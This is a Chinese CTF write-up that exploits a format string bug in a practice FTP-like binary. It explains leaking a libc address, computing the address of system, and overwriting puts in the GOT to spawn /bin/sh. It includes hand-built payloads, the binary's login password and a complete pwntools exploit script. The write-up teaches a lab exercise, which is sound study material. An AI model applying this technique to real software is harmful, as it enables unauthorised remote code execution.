一道泄漏libc来利用的格式化字符串题。
题目
直接上手反汇编:
加上运行过后整体了解到有一块检测登陆用户和三个模块函数,一个是编写文件'put',一个是显示文件'dir',还有一个是读取文件'get'。
这里推荐一个比较好用的格式化漏洞查看的插件,叫lazyIDA,在GitHub上有开源项目。
漏洞点出现在这里读取文件函数里面:
最后面的printf处。它的地址:
.text:0804889E call _printf
用gdb在这里下断点后开始调试。前面验证用户名密码的步骤很容易就可以patch掉,密码是'rxraclhm'。暂停在断点处:
往下看堆栈中的数据:
可以看见我们的输入出现在距离格式化字符串的偏移量为7的位置。
偏移地址找到了,接下来就是找需要泄漏的函数,我们这里用常规函数'__libc_start_main'来泄漏。但是好像在堆栈中没有找到这个函数?不一定,我们往下继续找:
终于在距离偏移91处找到了改函数+247后的地址,所以泄漏改地址之后再减去247后就是真正的'__libc_start_main'函数的地址。那么我们就在所'put'上去的文件内容中写上:
%91$p
就可以得到该地址。
得到system函数的地址之后接下来我们要做的是什么?
我们可以利用格式化字符串漏洞覆盖大数字的作用去修改got表的地址,这里我们想到的就是将puts函数的got表地址修改成system函数地址,所以当执行puts函数的时候其实执行的是system函数。接下来就是如何去修改的问题了。
这里有两种方法:
该函数的利用方式:
fmtstr_payload(7, {puts_got: system_addr})
payload = fmtstr_payload(7, {puts_got: system_addr})
意思就是,格式化字符串的偏移是7,我希望在puts_got地址处写入system_addr地址。默认情况下是按照字节来写的。
puts_got的地址可以用ELF.got['puts']来获取,system地址上面已经获取到了。
格式化字符串写一般分两次写入,每次写半个dword长度的内容,这样可以大大减少程序输出大量空格的时间。两个payload如下:
payload1 = p32(puts_got) + '%%%dc' % ((system_addr & 0xffff)-4) + '%7$hn'
payload2 = p32(puts_got+2) + '%%%dc' % ((system_addr>>16 & 0xffff)-4) + '%7$hn'
当前环境中,实际内容是:
payload1 = "x28xa0x04x08%396c%7$hn"
payload2 = "x2axa0x04x08%46942c%7$hn"
其中p32(puts_got)将数字形式的0x0804a028转为可被读入内存的字符串形式"x28xa0x04x08",%396c与%46942c代表输出396或46942个空格,system_addr & 0xffff 取半个dword后还需减去4,是因为前面p32(puts_got)已经占了四个字节,这四个字节与后面的空格数相加的总字节数相加刚好为system_addr & 0xffff,而该值将会写入当前printf的第7个不定参数中,而这第七个不定参数正好是puts_got与puts_got+2 ,以shellcode2的执行情况为例,请看下图:
prinf函数的参数从栈顶开始,栈顶指向我们所构造的format payload字符串的地址,然后往下分别是第一个不定参数,第二个不定参数……第七个不定参数即为我们所输入的格式化串中的前四个字节内容0x0804a02a。因而执行完该语句后,会向0x0804a02a写入两个字节内容:0xb762。
payload1的执行过程同理,当执行完以上两条payload之后,我们便成功向地址0x0804a028中写入了四字节内容0xb7620190,即将plt表中puts的地址替换成了system函数的地址,所以当再次向系统发送dir指令,并执行puts函数时,实际执行的则是system函数。
这里就得看自己的眼尖不尖了,或者也可以说是自己想不想的到了,puts函数在dir函数中用到,因为puts出来的是文件名,所以当puts执行的是system函数时所用的参数就是文件名,所以我们可以把文件名写成/bin/sh来完成调用。
因为整个exp中需要put两次文件,所以第一次put文件名可以用'/sh',第二次在用'/bin'。或者是最后一次直接使用'/bin/sh;'文件名,用分号直接区分开来。我们可以用gdb来看看,在puts函数处下断点:
这是加分号的情况。
这是分两次输入/bin/sh的情况。以上两种都成功执行了system函数。
from pwn import *
p = process('./pwn3')
libc = ELF('libc.so')
elf = ELF('pwn3')
context.log_level = 'debug'
p.recvuntil('Name (ftp.hacker.server:Rainism):')
p.sendline('rxraclhm')
p.recvuntil('ftp>')
p.sendline('put')
p.recvuntil('please enter the name of the file you want to upload:')
p.sendline('/sh')
p.recvuntil('then, enter the content:')
p.sendline('%91$p')
p.recvuntil('ftp>')
p.sendline('get')
p.recvuntil('enter the file name you want to get:')
p.sendline('/sh')
libc_addr = int(p.recv(10),16)
print libc_addr
libc_real = libc_addr - 247
libc_base = libc_real - libc.symbols['__libc_start_main']
sys_addr = libc_base + libc.symbols['system']
#gdb.attach(p)
print hex(sys_addr)
put_got = elf.got['puts']
playload = fmtstr_payload(7, {put_got: sys_addr})
p.recvuntil('ftp>')
p.sendline('put')
p.recvuntil('please enter the name of the file you want to upload:')
p.sendline('/bin')
p.recvuntil('then, enter the content:')
p.sendline(playload)
p.recvuntil('ftp>')
p.sendline('get')
p.recvuntil('enter the file name you want to get:')
p.sendline('/bin')
#gdb.attach(p)
p.recvuntil('ftp>')
gdb.attach(p)
p.sendline('dir')
p.interactive()
学习愉快~